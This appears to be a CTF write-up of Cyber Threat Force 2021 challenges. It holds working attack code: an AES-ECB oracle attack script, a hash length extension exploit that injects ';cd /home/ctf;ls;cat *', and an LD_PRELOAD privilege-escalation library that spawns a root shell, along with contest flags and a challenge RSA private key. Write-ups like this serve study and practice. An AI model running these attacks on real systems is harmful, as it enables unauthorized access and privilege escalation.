# Cyber Threat Force 2021 - CTF Community ## Crypto --- ### Strange Service > 250 points > > We found a strange service that seems to be an encryption oracle. > We're pretty sure it's AES. > The data sent is concatenated with critical data you need to exfiltrate that data Strange Service is a server that await a string from the client and feedback him with the AES-ECB of that input string. How do we know it is ECB an not CBC. Well, we have tested the service with 32x off "a" and see a periodic pattern ("sZ" repeated) in the answer. ``` kali@kali:~$ nc 144.217.73.235 24031 input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa sZ�`%P��.�~��sZ�`%P��.�~����������;�/����"6�Y+r{i@#�LbW<3ir>��▒���k�> ``` Two informations to be taken: * We confirm the ECB mode, * The secret is located at the end of the received string, so we should have AES-ECB( input || FLAG ). The principle of the solution is the following: * We discover the flag one-letter at a time, * We send a crafted chain of character which is a multiple of 16 bytes minus one, the last character will be the completed by the flag. * We get the AES-ECB string and called it the "target string", * We bruteforce all printable characters until we get a match with the target string, * We do it again for the next flag character by reducing the crafted string by one caracter ... ``` import socket import string import time import binascii SERVER = "144.217.73.235" PORT = 24031 def get_oracle(txt): cx=socket.socket() cx.connect((SERVER,PORT)) #print(cx.recv(1024)) cx.recv(1024) cx.send(txt+"\n") return binascii.hexlify(cx.recv(1024).strip()) N=64 flag="a"*N for i in range(N): target = get_oracle("a"*(N-i-1)) for elt in string.printable: found = get_oracle(flag[-N+1:]+elt) if target.find(found[:N*2])>-1: flag+=elt print(flag[-N:]) break ``` With gives: ``` kali@kali:~/Desktop/CyberThreatForce/crypto$ time python AES_ECB_Oracle.py aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCY aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYB aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBE aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBER aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERT aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{W aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WT aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_I aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$e aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$el aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$ele aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eles aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_i aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_in aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_in_ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_in_r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_in_re aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_in_rea aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_in_real aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_in_real_ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_in_real_w aaaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_in_real_w0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_in_real_w0r aaaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_in_real_w0rl aaaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_in_real_w0rld aaaaaaaaaaaaaaaaaaaaaaaaaCYBERTF{WTF_It's_u$eless_in_real_w0rld} ^Z [2]+ Stopped python AES_ECB_Oracle.py real 10m45.630s user 0m0.000s sys 0m0.001s ``` and get the flag **CYBERTF{WTF_It's_u$eless_in_real_w0rld}** --- ### Strange Administration Service - First Blood ! > 250 points > > We have found a service that is intended to be an administration system. After interrogating a target we are pretty sure that the token is a hash of a secret concatenated with the command found when exfiltrating the flag HASH(SECRET||CMD) > ![](https://i.imgur.com/8fBq0JQ.png) OK, HASH(SECRET||CMD) makes a clear reference to a hashlength extension attack. When we connect to the server, we receive: ``` give me cmd|token example: ls|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140 id|69a4061766769d0a19ab59e6f905f7ac5875691b62765cb6b3b5ee6ae08f776a ``` So the idea is to inject and complete one of the command provided, update the hash and send it to the server. Hopefully, a python library will do the job for us "hashpumpy"... the injected command is: > ;cd /home/ctf;ls;cat * We have bruteforce first the length of the SECRET and found it to be 22 bytes. ``` import base64 import hashpumpy import hashlib import socket # sudo apt-get install g++ libssl-dev # pip install hashpumpy SERVER ="144.217.73.235" PORT = 27932 data = "ls" hexdigest = "c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140" print((data,hexdigest)) for i in range(22,23): a,b=hashpumpy.hashpump(hexdigest, data, ";cd /home/ctf;ls;cat *", i) print((a,b)) conn=socket.socket() conn.connect((SERVER,PORT)) print(conn.recv(1024).decode()) print(b+b"|"+a.encode()+b"\n") conn.send(b+b"|"+a.encode()+b"\n") print(conn.recv(10024).decode()) print(conn.recv(10024)) #input(i) ``` and get the following messy result with the flag ``` ('ls', 'c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140') wu.py:18: DeprecationWarning: PY_SSIZE_T_CLEAN will be required for '#' formats a,b=hashpumpy.hashpump(hexdigest, data, ";cd /home/ctf;ls;cat *", i) ('738d1f5584244fb8fc3ba74978ebfdfde2a922a3dd29696e62e7620aa124a105', b'ls\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0;cd /home/ctf;ls;cat *') give me cmd|token example: ls|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140 id|69a4061766769d0a19ab59e6f905f7ac5875691b62765cb6b3b5ee6ae08f776a b'ls\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0;cd /home/ctf;ls;cat *|738d1f5584244fb8fc3ba74978ebfdfde2a922a3dd29696e62e7620aa124a105\n' chall.py wrapper b'flag.txt\nCYBERTF{HM@C_Custom_Is_Bad_Idea}\n' ``` and the flag **CYBERTF{HM@C_Custom_Is_Bad_Idea}** --- ### (Un)Efficient Encryption > 300 points > > Hello CTF-Agent, > > We intercepted a message, encrypted with an unknown algorithm. We put in relation this message with a previous message , containing a suspicious discussion between two members of the APT-403. > > Your mission will be to decrypt these communications. > > Good luck. > > H.Q. A PCAP file is provided where there is no difficulty to extract the RSA data. ``` from Crypto.PublicKey import RSA _key="""-----BEGIN PUBLIC KEY----- MBwwDQYJKoZIhvcNAQEBBQADCwAwCAIDBGOvAgER -----END PUBLIC KEY-----""" key = RSA.import_key(_key) print(key.n) print(key.e) p = 347 q = 829 phi=(p-1)*(q-1) e=key.e n=p*q assert n == key.n d=pow(e,-1,phi) msg="""71436 176304 185211 110406 35389 179680 56238 185211 207993 237729 176304 207993 185211 192576 237729 95070 171155 207993 35389 185211 110406 140230 92028 110406 140230 246626 82805 95994 185211 110406 176304 192576 230623 185211 110406 237729 171155 110406 247756 185211 192576 230623 185211 110406 237729 176304 140230 92028 110406 232955 247756 192576 35389 185211 82805 194813 185211 207993 185211 110406 140230 92028 110406 237729 176304 185211 110406 92028 185211 35389 207993 185211 237729 110406 35389 171155 171098 185211 110406 105244 110406 228171 207520 180458 196399 104282 71436 31634 106170 103296 132591 35389 69499 171098 196399 24720 104282 92028 59381 24720 230238 230238 36350""" msg=msg.replace("\n","").split(" ") print(msg) tmp="" for elt in msg: tmp+=chr(pow(int(elt),d,n)) print(tmp) ``` and the **CYBERTF{D3c0dE_Rs4_!!}** --- ## PWN ### PrivEsc > 100 points > > We have access to a server via ssh found a way to increase your privileges ctf:cyberthreatforce So we have tried **sudo -l**, and get : ``` ctf@d1768301c501:~$ sudo -l Matching Defaults entries for ctf on d1768301c501: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD User ctf may run the following commands on d1768301c501: (ctf_cracked) NOPASSWD: /opt/Ivazov ``` Two things to notice: * env_keep+=LD_PRELOAD * (ctf_cracked) NOPASSWD: /opt/Ivazov The /opt/Ivazov do nothing except printing a string. Having a look at: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md We identify out attack vector on LD_PRELOAD. ``` #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); } ``` and the history of the executed command: ``` 12 cd /tmp 13 cat a 14 nano shell.c 15 gcc -fPIC -shared -o shell.so shell.c -nostartfiles 16 ls -al 17 ls 18 cat nano shell.so 19 sudo LD_PRELOAD=<full_path_to_so_file> <program> 20 sudo -l 21 sudo LD_PRELOAD=/tmp/shell.so /opt/Ivazov 22 sudo -l 23 /opt/Ivazov 24 sudo LD_PRELOAD=/tmp/shell.so /opt/Ivazov 25 /opt/Ivazov 26 sudo /opt/Ivazov 27 sudo -u /opt/Ivazov 28 sudo -u ctf_cracked /opt/Ivazov 29 sudo -u ctf_cracked LD_PRELOAD=/tmp/shell.so /opt/Ivazov ``` and the shell: ``` ctf@950e0bb26b30:/tmp$ sudo -u ctf_cracked LD_PRELOAD=/tmp/shell.so /opt/Ivazov $ ls ls: cannot open directory '.': Permission denied $ id uid=1001(ctf_cracked) gid=1001(ctf_cracked) groups=1001(ctf_cracked) $ cd / $ ls bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var $ cd /home $ ls ctf ctf_cracked $ cd ctf_cracked $ ls flag.txt $ cat flag.txt CYBERTF{LD_PRELOAD_2_Bypass_Ivazov} $ ``` and get the **CYBERTF{LD_PRELOAD_2_Bypass_Ivazov}** --- # Stegano ## Strange File > 200 points > > Hello CTF-Agent, > > We successed in getting an image from an online chat, that the APT-403 uses. This image seems to be hiding something, even if it seems corrupted. > > Your mission will be to find the hidden message behind this image. > > H.Q. We got an image file which is not readable. Then we compare the header of the encrypted file and header of an unciphered pnf file. A hit is found with a key of 9 bytes. ``` Key size 9 d P@ rd ssw d P@ 0r- ``` After some trials, the xor key is "P@ssw00rd". Which gives a QR code, to be colored inverted, which provides the flag. ![](https://i.imgur.com/FWficW0.png) and the flag **CYBERTF{H1dD3n_M3Ss4g3_Fr0m_G4r1z0V}** --- # Forensic ## Welcome to the Matrix > 75 points > > Hello Agent, We were able to retrieve a network dump from a VPS belonging to APT403, try to determine the C2 used. Flag Format: CYBERTF{the name of the c2 in leet and capital letters} example : CYBERTF{M3t45PL01T} but T is not in leet Simply, Wireshark and Right Click / follow / TCP steam, we see "Covenant". And the flag is **CYBERTF{C0V3N4NT}** --- ## Like a duck in water > 75 points > > Hello Agent, We found a flash drive in a safe house belonging to APT403. We have been able to recover the contents of this famous key, which is for you to investigate. Inject.bin >> Rubber Ducky >> Find a decoding script in github... **CYBERTF\{D0N4LD_DUC\|<\}** --- ## Usb Key Cemetery > 50 points > > Hello Agent, a company has been hit by ransomware due to a ducky rubber introduced into a client machine. We were only just able to recover the (encrypted) syslog file. We have given you the necessary information to find the intruder. the logs starts on June 7th 22:53:25 Flag format: CYBERTF{Serial Number of the usb rubber ducky} Ok, first we observe what is syslog ``` sudo cat /var/log/syslog Jul 4 16:04:54 localhost systemd[1]: Starting Flush Journal to Persistent Storage... ``` Ok, it seems to be a well formated file, we know the content of the first line from the description. We think it is a xor encryption with a taylored key. ``` from itertools import cycle def xor(a,b) : return ''.join(chr(ord(i)^ord(j)) for i,j in zip(a,cycle(b))) # Hint from chall description hint = "June 7th 22:53:25" # sudo cat /var/log/syslog example = "Jul 3 13:39:17 " # Plaintext pt="Jun 7 22:53:25 " # Read data with open("syslog.enc","r") as fp: data = fp.read() # define the key key = xor(pt,data[:len(pt)]) print(key) syslog=xor(data,"WE ARE APT403") with open("syslog.txt","w") as fp: fp.write(syslog) print(syslog) ``` The key is **WE ARE APT403**. We search the file for SerialNumber and found the flag **CYBERTF{854be9ee57ef47ce74e73904998d61c8846e9239}** --- # Network ## YZY > 50 Points > > We have retrieved a capture we believe has important data in it > > SHA256 273e50e8f3209ff4754fbf36aba33f79deba0195bf60b3acb2c58e6014acea8b capture.pcapng Quite nothing to do with the pcap. ![](https://i.imgur.com/z74K0Mm.png) --- ## The Mole > 75 points > > Hello CTF-Agent, > > We got, thanks to one of our contact, the acces on one of the APT-403's computer. > > Your mission will be to decrypt the encrypted communication. > > We trust you. > > H.Q. No difficulty with the pcap, where we found an RSA private key. ``` -----BEGIN RSA PRIVATE KEY----- MIIBOQIBAAJAdA6LYrTnWaPJ5DSg03uaDH3biN4jfnH1mEqFuZILfHov4/SEdEqu Gj5/gJ3ypGTbgWUFe9VQGY0LnXN3j6773wIDAQABAkBui0wJAPc8Ut6DF/34cssR CvCJNc3pKvMb1B/72jhGn24mgbyHyNdxK7xaY0ultnQ/3hmFuT0i/UWXdfGlOTEB AiEAzqTk8qn/OZ9dfGOUd27JZJxucxvyB9TlY9xH5mMxS1ECIQCPxsE2N5avydWj UnMhecYCGuwqfTTt7kMH9fGO5aWoLwIgf/2CEQtaGcarkK/c9VyZQMfjYUid0Fv8 +K0nm3s0vQECIFt+Rqvi2hCJp1skd8GAxaHHUiyDuvACZEOnng2qVC3fAiEAkjsZ bWWZnzPMxFCUq54kXCyqHom1XRAKClNFchnNORA= -----END RSA PRIVATE KEY----- ``` and some strange base64 strings... ``` from Crypto.PublicKey import RSA import base64 from Crypto.Util.number import bytes_to_long import binascii key = RSA.import_key(open("./private.key","r").read()) msg=[ "CPrYwDhZMg+jxAWhK3Tu2LCzDPKteChdeXkO72T7BHhpPRtqbXHEcyvmhsmsPyHDjhflEV/BQwD42kYeO9EkfQ==", "BfwWKiRIDj5VzWRYck6NUQdF52thWaeLwAdwHXvM/vVd5tZGF0YVWslOr9u/CyZQd3N552Mxtp4o9CaBaD657Q==", "YuqH7THelhN0rNwYmBak+bZv20sqTX10O1Kmpc6ncmt91kYm1jxLLsQa157IBqbaSRI205D0/2LLPnoAkgCMGg==", "LBKjeMcgIYaQx5cUX9JBQTab6bqFTP7dzTcRMcAy6jle64Q22Zr+JbwwJTvWlhZKT82pbGU/Ux/o2+L5bghhSA==", "WHYuGXboak1lY2lKXsrjrurvNcsdbCebk8ebUc4e3eBuoAxlOoHfheYHzKfiC4bibBUmS+YLn5eA/kg/OWkh5w==", "DPTFnoyKxcMl4DsfNlKL49msE8Sp7hgbIP1v9P3fe071BEMAl2VgxqCez2R2XvCZo7u8VAJFFmNNTfiO+MJdMw==", ] p=key.p q=key.q n=p*q phi=(p-1)*(q-1) e=key.e d=pow(e,-1,phi) for elt in msg: ct=bytes_to_long(base64.b64decode(elt)) pt=pow(ct,d,n) print(binascii.unhexlify("0"+hex(pt)[2:])) ``` and **CYBERTF{D3c0d3_TcP_FL0w}** --- That's all folks !!! **Electro**